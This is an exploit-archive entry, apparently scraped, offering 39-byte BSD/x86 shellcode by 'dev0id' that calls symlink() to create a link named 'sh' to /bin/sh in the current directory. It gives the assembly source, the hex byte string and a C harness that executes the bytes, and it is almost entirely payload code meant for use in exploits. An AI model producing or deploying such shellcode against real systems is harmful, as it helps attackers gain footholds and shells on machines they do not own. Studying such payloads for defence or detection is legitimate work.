[] NeoSense

BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

Author: dev0id
type: 
platform: bsd_x86
port: 39.0
date_added: 2018-01-16 
date_updated: 2018-01-16 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*The shellcode calls the symlink() and makes the
 link to the /bin/sh in the current dir.
 size = 39 bytes
 OS   = *BSD
 	written by /rootteam/dev0id (rootteam.void.ru)


BITS 32
jmp short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+7],al
	mov byte [esi+10],al
	lea	ebx,[esi+8]
	push	ebx
	lea	ebx,[esi]
	push	ebx
	mov	al,57
	push	eax
	int	0x80

callme:
	call	main
	db	'/bin/sh#sh#'
*/

char shellcode[] =
	"\xeb\x15\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x8d\x5e\x08\x53"
	"\x8d\x1e\x53\xb0\x39\x50\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
	"\x69\x6e\x2f\x73\x68\x23\x73\x68\x23";







int
main (void)
{
	void (*code)(void);
	code=(void(*)())shellcode;
	(void)code();
	return 0;

}